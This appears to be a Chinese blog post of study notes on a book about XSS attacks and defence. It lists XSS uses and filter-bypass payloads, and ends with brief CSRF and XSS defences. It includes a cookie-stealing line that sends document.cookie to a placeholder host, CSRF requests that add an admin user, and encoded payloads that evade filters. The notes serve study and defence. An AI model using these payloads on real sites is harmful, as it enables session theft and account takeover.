本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结

常见的XSS攻击主要用于
1.网络钓鱼,盗用用户账号
2.窃取cookies 非httponly情况下,读取document.cookie
通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)

3.劫持用户浏览器会话(xss-proxy)
利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数

4.强制挂广告

5.页面挂马
6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
常见形式<img src=http://www.xxx.com/adduser?username=/>
<script src="http://www.xxx.com/adduser?username=">
<iframe src="http://www.xxx.com/adduser?username="></iframe>
xmlhttp对象
攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
http://www.xxx.com/adduser?username=xxxx

7.制作蠕虫病毒
8.获取客户端信息,用户浏览历史,ip
9dos/ddos攻击
通过注入恶意代码,劫持用户持续不断请求某服务器
<script>for(;;)alert('xss')</script>

反射性XSS
 
通过用户点击特定URL执行跨站脚本

持久性XSS

将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行

恶意脚本的执行途径
1.document.write()
2.后台直接绑定未经过滤的变量到前台
3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码

5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招

7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招

8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
xss的表现形式
1.利用<>标记注射html/javascript
2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
<table background="javascript:alert(/xss/)"></table>
<img src=javascript:alert(/xss/) />
3.空格,回车,Tab绕过限制
<img src='javas    cript:alert(/xss/)'/>
4.对标签属性值进行转码 html的属性值支持ASCII玛
<img src="javascrip&#116&#58alert(/xss/)"/>;
5利用DOM事件
<img src="#" onerror=alert(/xss/)/>
6.利用css执行恶意js
body{background-image:url("javascript:aert('xss')")}
body{background-image:expression(alert("xss"))}
然后通过link引用该样式文件,执行攻击
7.通过大小写绕过过滤规则
<iMG SrC="JavAScriPt:alert(0)"/>
8.利用字符编码
javascript:alert('xss')进行10进制转码为&#106&#97&#118........
<img scr="&#106&#97&#118........"/>
9.eval()执行16进制字符串
eval("\x61\x6c\x65....")

10.windows.location.hash 的利用
location.hash获取页面标签的值(页面url里的#)
http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')

注入的位置

document.URL
Location
document.referer
window.name

1.将危险代码编码后进行攻击

将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
用户往往容易中招

json注入攻击
json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()

常用工具
xss-proxy
XSS-SHELL
anehta 攻击力利器
livehttpheaders 调试http
tamper
fiddler http抓包调试工具
attackapi js攻击框架
beef
Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
xssdetect

xss经常利用的漏洞
1.UTF-7BOMXSS
2.MHTML XSS
3.Data URIs XSS
4.CRLF
5.HACKjSON

CSRF防范手段
1.验证来源referer
2.验证码
3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击

XSS防御技巧
过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary

XSS学习笔记的更多相关文章

  1. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  2. XSS学习笔记(一个)-点击劫持

    所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...

  3. XSS学习笔记(五)-XSS防御

    如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...

  4. 【转载】XSS学习笔记

    XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...

  5. 2019-11-20:xss学习笔记

    xxe漏洞防御使用开发语言提供的禁用外部实体的方法phplibxml_disable_entity_loader(true); 卢兰奇对象模型,bom由于现代浏览器实现了js交互性方面的相同方法和属性 ...

  6. xss学习笔记(萌新版)

    xss简介 xss攻击者构造恶意信息然后在用户的浏览器上执行,主要分为反射性xss,这种主要是某个页面存在有漏洞的参数,然后填上恶意参数把整个链接发给用户或者管理员,他们点击了带有恶意参数的链接就会执 ...

  7. Web安全学习笔记 XSS上

    Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...

  8. Web For Pentester 学习笔记 - XSS篇

    XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...

  9. ASP.Net开发基础温故知新学习笔记

    申明:本文是学习2014版ASP.Net视频教程的学习笔记,仅供本人复习之用,也没有发布到博客园首页. 一.一般处理程序基础 (1)表单提交注意点: ①GET通过URL,POST通过报文体: ②需在H ...

随机推荐

  1. JS字符串的问题

    首先,搞了好几个小时,头都大了,原来出在字符串问题上. 具体如下: 今天做Yii,遇到用JQuery 的AJAX方法做注册验证,把传回来的字符串与textField中的比较,发现相等,但是就是不出结果 ...

  2. mamp下安装ruby的mysql库

    mysql2库死活不行,用ruby-mysql得了,纯ruby的库 gem "ruby-mysql" require 'mysql'

  3. mac电脑安装selenium 记录

    1.使用终端去命令安装 sudo easy_install selenium 参考:https://www.cnblogs.com/nichoc/p/5543654.html 2.听说驱动放在 /us ...

  4. 汇编_指令_FLAGS

    标志名                                       标志 1           标志 0 OF   (溢出标志)                     OV     ...

  5. [转]MVC 经验总结_序

    <appSettings> <add key="vs:EnableBrowserLink" value="false"/> </a ...

  6. Quartz教程

    Quartz教程   Quartz教程四--Trigger介绍 Quartz教程八--SchedulerListener 08-24 Quartz教程七--TriggerListener和JobLis ...

  7. Fiddler 抓包工具总结-bpafter

    转摘https://www.cnblogs.com/shy1766IT/p/5199334.html Fiddler 抓包工具总结   名称 含义 # 抓取HTTP Request的顺序,从1开始,以 ...

  8. Flask框架的学习与实战(一):开发环境搭建

    Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2.很多功能的实现都参考了django框架.由于项目需要,在 ...

  9. 管理Linux服务器的用户和组

    管理Linux服务器的用户和组 Linux操作系统是一个多用户多任务的操作系统,允许多个用户同时登录到系统,使用系统资源. 为了使所有用户的工作顺利进行,保护每个用户的文件和进程,规范每个用户的权限, ...

  10. 31_java之项目中的数据库操作

    01项目训练目标 * A: 项目训练目标 * a: 项目目标 * 综合运用前面所学习的知识点 * 熟练View层.Service层.Dao层之间的方法相互调用操作. * 熟练dbutils操作数据库表 ...